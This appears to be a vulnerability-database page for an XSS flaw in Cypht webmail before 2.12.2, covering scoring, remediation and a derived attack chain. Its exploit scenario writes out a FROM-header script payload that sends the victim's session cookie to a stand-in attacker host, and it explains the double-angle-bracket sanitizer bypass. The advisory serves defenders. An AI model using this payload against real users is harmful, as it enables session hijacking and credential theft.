Skip to main content

Cypht CVE-2026-73524

| EUVDEUVD-2026-69652 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-01 VulnCheck GHSA-r7q3-25g3-96cc
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft FROM header with angle-bracket-wrapped script payload
  2. Delivery
    Send email to Cypht user
  3. Exploit
    Victim opens email in Cypht
  4. Execution
    Victim clicks Add Local Contacts
  5. Persist
    Single-pass sanitizer strips outer brackets only
  6. Impact
    Injected script executes in victim's browser session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to be running a Cypht instance at version 2.12.1 or earlier, to open a specifically crafted email in their Cypht webmail session, and then to explicitly click the Add Local Contacts function while viewing that email. Both user-interaction steps are mandatory - simply opening the email without using Add Local Contacts does not trigger execution. No special server configuration or non-default settings are required; the contacts module is present in default Cypht installations. The attack is bounded to the victim's browser session: an attacker can steal session tokens, perform authenticated actions within Cypht on the victim's behalf, or redirect the browser, but cannot directly access or modify server-side data or files beyond the browser's existing session scope.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N, score 5.1) accurately characterizes this as a moderate-severity issue: the attack is network-delivered with no attacker authentication requirement, but the subsequent-system impact is limited to the victim's browser session (SC:L/SI:L), and active user interaction - specifically two sequential steps - is required. The two-step prerequisite (open email, then click Add Local Contacts) materially reduces exploitability relative to a single-click XSS trigger. EPSS data was not provided in the available intelligence; given the niche deployment footprint of Cypht and the multi-step interaction requirement, real-world exploitation probability is assessed as low. No KEV listing and no public exploit code have been identified at time of analysis. Practical impact is bounded to session hijacking or browser-context actions on behalf of the victim, with no path to server-side compromise through this vector alone. This is a routine patch-cycle priority rather than an emergency response item.

Exploit ScenarioDerived

An attacker sends an email to a Cypht user with a FROM header crafted as Attacker <<script>document.location='https://attacker.tld/?c='+document.cookie</script>>. When the recipient opens the email in their Cypht instance and clicks Add Local Contacts, the malformed header bypasses the single-pass sanitizer and the embedded script executes in the victim's browser, exfiltrating their session cookie to the attacker's server. No public exploit code has been identified, but the bypass technique is elementary and the vulnerability class is well understood.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 01, 2026

Cross-site scripting in Cypht webmail's contacts module (all versions before 2.12.2) allows unauthenticated remote attackers to execute arbitrary JavaScript in a victim's browser by crafting a malicious FROM email header. The contacts module's sanitizer strips only the first occurrence of each angle bracket character, so embedding redundant brackets around a script payload bypasses the filter entirely. Exploitation requires two deliberate user actions - opening the crafted email and invoking the Add Local Contacts function - limiting opportunistic mass exploitation; no public exploit has been identified at time of analysis.

RemediationAI

Upgrade to Cypht v2.12.2 or later; this release escapes FROM header values in the add-contact popup as detailed in PR #2072 (https://github.com/cypht-org/cypht/pull/2072) and commit 372343783b3d21c12f74bb88d0eef36c1579c062. The patch is confirmed via the official GitHub release at https://github.com/cypht-org/cypht/releases/tag/v2.12.2. If immediate upgrade is not feasible, operators can disable or restrict access to the Add Local Contacts feature as a compensating control, accepting the trade-off of losing in-app contact import functionality; alternatively, restricting webmail access to trusted internal networks reduces the attack surface by limiting who can deliver crafted emails through the application.

Affected VersionsENISA

cypht 0 <2.12.2

Affected Packages

euvd cypht fix: 2.12.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Cypht (CPE: cpe:2.3:a:cypht-org:cypht) is a self-hosted open-source webmail client. The vulnerability is a CWE-79 (Improper Neutralization of Input During Web Page Generation / Cross-Site Scripting) defect in the contacts module. When a user clicks Add Local Contacts while viewing an email, Cypht renders the message's FROM header value into an HTML popup without adequate escaping. The sanitization logic applies a single-pass strip of the first < and > characters encountered, so a payload constructed as <<script>payload</script>> loses only the outermost brackets; the inner <script> tag survives and is interpreted by the browser as markup. Fix commit 372343783b3d21c12f74bb88d0eef36c1579c062 (PR #2072) corrects this by escaping FROM header values before insertion into the DOM.

Know when Cypht gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Network-delivered XSS requiring no attacker auth; scope changes to victim browser enabling session data theft and page modification, but no availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Cypht before 2.12.2 contains a cross-site scripting vulnerability in the contacts module that allows remote attackers to execute arbitrary script content by embedding malicious payloads within angle brackets in the FROM email header. The sanitization logic removes only the first occurrence of each angle bracket character, leaving additional angle brackets intact, which attackers exploit by delivering a crafted email whose FROM header executes script in the victim's browser when the user opens the message and accesses the Add Local Contacts function.

Threat Intelligence Overview

EPSS Score
0.3%
Top 83% exploitable
Prevalence
Low
self-hosted open-source webmail, niche deployment footprint
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy